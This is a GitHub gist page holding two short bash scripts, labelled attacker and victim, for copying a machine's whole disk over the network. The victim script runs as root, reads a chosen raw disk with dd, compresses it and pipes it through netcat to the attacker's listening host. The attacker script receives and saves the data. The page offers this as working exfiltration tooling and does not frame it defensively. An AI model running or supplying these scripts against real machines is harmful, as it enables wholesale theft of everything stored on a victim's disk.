Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

@p4p1
Last active March 12, 2021 03:30
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save p4p1/ce4212b90c261a81c3a4050c072680ed to your computer and use it in GitHub Desktop.
Save p4p1/ce4212b90c261a81c3a4050c072680ed to your computer and use it in GitHub Desktop.
🎠🎠🎠🎠
#!/bin/bash
# attack.sh
# Created on: Fri 12 Mar 2021 04:13:11 AM CET
#
# ____ __ ____ __
# ( _ \ /. |( _ \/ )
# )___/(_ _))___/ )(
# (__) (_)(__) (__)
#
# Description:
# Copy the disk of a machine over a network. This file is for the attacker he will be hosting the server.
# The copy will be gunziped. The file is compressed while sent over the network.
PORT=1234
FILE=machine_copy
echo -e "\e[1;34mListening on:\e[m \e[1;32m$PORT\e[m"
nc -lp $PORT > $FILE.gz
exit 0
#!/bin/bash
# victim.sh
# Created on: Fri 12 Mar 2021 04:13:11 AM CET
#
# ____ __ ____ __
# ( _ \ /. |( _ \/ )
# )___/(_ _))___/ )(
# (__) (_)(__) (__)
#
# Description:
# Copy the disk of a machine over a network. This file is for the attacker he will be hosting the server.
# The copy will be gunziped. The file is compressed while sent over the network.
IP=127.0.0.1
PORT=1234
SPEED=1024k
if [ "$EUID" -ne 0 ]; then
echo -e "\e[1;31mPlease run as root\e[m"
exit -1
fi
echo -e "\e[1;34mSelect disk\e[m"
lsblk
echo -n "$> "
read disk
echo -e "\e[1;34mConnecting to:\e[m \e[1;32m$IP:$PORT\e[m"
ping -c 1 $IP
if [ "$?" -ne 0 ]; then
echo -e "\e[1;31mMachine $IP is not online\e[m"
exit -1
fi
echo -e "\e[1;34mTransfer started\e[m"
dd if=/dev/$disk conv=sync,noerror bs=$SPEED | gzip -c | nc $IP $PORT
exit 0
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment